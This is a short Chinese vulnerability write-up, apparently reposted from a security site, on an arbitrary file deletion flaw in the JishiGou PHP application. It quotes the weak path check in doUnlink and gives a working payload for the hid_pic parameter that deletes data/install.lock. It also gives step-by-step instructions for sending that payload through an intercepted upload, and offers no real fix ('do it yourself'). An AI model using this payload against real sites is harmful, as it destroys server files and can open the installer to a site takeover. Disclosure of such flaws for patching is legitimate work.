好得很程序员自学网

<tfoot draggable='sEl'></tfoot>

记事狗任意文件删除 - 网站安全 - 自学php

前面有一篇任意文件删除了: 记事狗盲注及任意文件删除 利用条件:

1.仅限于windows主机,linux无效(至少我本机就不行) 2.已注册用户 3.需要删除的文件可读写

在modules/ajax/event.mod.php中

HdhCmsTest2cto测试数据 #保护性删除图片

 function doUnlink($pic){   if(!$pic) return false;   $type = trim(strtolower(end(explode(".",$pic))));   $exp = '././images/event/[0-9]{10}'.MEMBER_ID.'_b.'.$type;   if(ereg($exp,$pic)){    unlink($pic);    unlink(strtr($pic,'_b.','_s.'));    return true;   }else {    return false;   }  }

该函数在 onloadPic中被调用

if($_FILES['pic']['name']){  //省略.....................   $hid_pic = $this->Post['hid_pic'];                $eid = (int) $this->Post['id'];               $this->doUnlink($hid_pic,$eid);  //省略............. }

只要$_FILES['pic']['name'] 不为空,然后我们就可以构造hid_pic了 hid_pic 的内容为: ././images/event/1234567890{MEMBER_ID}_b.{你要删除的文件的后缀}/{你要删除的文件}

比如我们要删除./data/install.lock文件,而且我的MEMBER_ID为2 则: ././images/event/12345678902_b.lock/data/install.lock

本地测试成功 实际利用: 在 index.php?mod=event&code=pevent 上传抓包,然后在hid_pic底下填写././images/event/12345678902_b.lock/data/install.lock 即可 修复方案: do it yourself

查看更多关于记事狗任意文件删除 - 网站安全 - 自学php的详细内容...

  阅读:42次